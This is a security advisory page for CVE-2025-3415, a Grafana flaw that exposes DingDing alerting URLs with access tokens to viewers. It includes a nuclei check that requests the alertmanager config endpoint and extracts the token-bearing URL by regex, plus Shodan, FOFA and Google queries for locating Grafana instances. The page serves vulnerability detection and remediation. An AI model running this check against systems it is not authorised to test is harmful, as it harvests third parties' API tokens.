CVE-2025-3415· grafana / grafana
Grafana - Exposes DingDing API Keys
mediumseverity
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it
An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
Impact
Viewers can access DingDing alerting integration URLs containing access tokens through the alertmanager API, potentially enabling unauthorized message delivery and notification manipulation.
Fix
Upgrade to Grafana version 12.0.2 or later that properly restricts access to DingDing integration settings.
How to confirm it
Send: GET /api/alertmanager/grafana/config/api/v1/alerts
Positive when: contains_all(body, "dingtalk.com","dingding-context") and contains(content_type, "application/json") and status_code == 200Run it with nuclei: nuclei -id CVE-2025-3415 -u <target>
The full check
id: CVE-2025-3415
info:
name: Grafana - Exposes DingDing API Keys
author: lucasribolli
severity: medium
description: |
An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.
impact: |
Viewers can access DingDing alerting integration URLs containing access tokens through the alertmanager API, potentially enabling unauthorized message delivery and notification manipulation.
remediation: |
Upgrade to Grafana version 12.0.2 or later that properly restricts access to DingDing integration settings.
reference:
- https://grafana.com/blog/2025/06/13/grafana-security-update-medium-severity-security-release-for-cve-2025-3415/
classification:
epss-score: 0.01083
epss-percentile: 0.65479
metadata:
verified: true
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- http.title:"grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve,cve2025,grafana,dingding,dingtalk,apikey,vkev,vuln
http:
- raw:
- |
GET /api/alertmanager/grafana/config/api/v1/alerts HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "dingtalk.com","dingding-context")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: dingding-integration-url
part: body
regex:
- '(?i)https?://oapi\.dingtalk\.com/robot/send\?access_token=[^&"\s]+'References
Use this check only on systems you are authorised to test. Where the data comes from